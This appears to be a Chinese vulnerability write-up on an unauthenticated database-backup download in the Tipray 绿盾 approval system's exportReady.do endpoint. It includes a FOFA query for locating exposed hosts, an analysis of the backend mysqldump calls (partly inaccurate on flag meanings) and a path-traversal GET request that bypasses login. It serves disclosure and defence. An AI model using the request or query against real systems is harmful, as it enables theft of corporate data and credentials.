漏洞简介
天锐绿盾审批系统是一款专注于企业数据安全与合规管理的智能审批平台,深度融合文档加密、权限管控与流程自动化,为企业提供从文件创建、流转到归档的全生命周期安全管控。该系统的 exportReady.do 接口存在数据库备份下载漏洞,未经授权的攻击者可以直接下载系统备份的数据库文件。这可能导致企业内部的敏感数据、用户凭证、业务信息等大量核心数据泄露,对企业的信息安全造成严重威胁。
影响版本
可通过访问 /trwfe/exports/config.ini 获取版本信息
V3.53.240913
V7.05.240904
fofa语法
app="TIPPAY-绿盾审批系统"
漏洞分析
先看exportReady.do的实现

跟进configService.exportReady
首先定义文件名的格式化时间部分以及tempPath 为应用根目录下的exports文件夹,

以及下面使用mysqldump 导出的数据库备份内容到各自定义的文件内

这三条mysqldump命令dump的内容分析如下
1. stringBuilder 命令
分析:
-h、-P、-u、-p:指定连接数据库的 IP、端口、用户名和密码。socket:可能用于指定 Unix 套接字连接(如果socket变量包含套接字路径)。--default-character-set=utf8:指定默认字符集为 UTF-8。" + (String)lists.get("datebaseName"):指定要备份的数据库名称。--ignore-table=activiti.ext_file_server等四个ignore-table参数:明确指定在备份时忽略activiti数据库中的ext_file_server、ext_file_server_addr、ext_file_server_path和ext_config这四张表。--hex-blob:将二进制数据(如 BLOB 类型)以十六进制格式导出。
结论: 此命令会备份 lists.get("datebaseName") 指定的整个数据库,但会排除 activiti 数据库中的 ext_file_server、ext_file_server_addr、ext_file_server_path 和 ext_config 这四张表的数据和结构。
2. sb 命令
分析:
-u、-p、socket:同上,用于连接数据库。" + (String)lists.get("datebaseName") + " ext_config":明确指定要备份lists.get("datebaseName")数据库中的ext_config表。--where="config_key!='system.version'":这是一个WHERE条件,表示只备份ext_config表中config_key字段不等于'system.version'的行。
结论: 此命令会备份 lists.get("datebaseName") 数据库中的ext_config 表,并且只备份该表中 config_key 字段值不为 'system.version' 的数据行。
3. sbFun 命令
分析:
-u、-p、socket:同上,用于连接数据库。-R:表示备份存储过程和函数 (Routines)。-ndt:这是一个组合参数,通常等同于-n(no-create-info) 和-d(no-data)。-n, --no-create-info:不备份表的CREATE TABLE语句(即不备份表结构)。-d, --no-data:不备份表的行数据。- (注:
mysqldump的-t选项也等同于-n,所以-ndt实际效果是-n -d)。
" + (String)lists.get("datebaseName"):指定要备份的数据库名称。
结论: 此命令会备份 lists.get("datebaseName") 数据库中的所有存储过程和函数。它不会备份任何表的结构或数据。
最后压缩后会将压缩后的文件地址(包括文件路径以及完整的文件名)响应在body

漏洞复现
压缩的是整个根目录下的exports目录,因此如果目录存在其他文件也会一并压缩
GET /trwfe/login.jsp/.%2e/config/exportReady.do HTTP/1.1
Host: trwfe.mrxn.net

然后下载即可获取到备份的数据库内容。


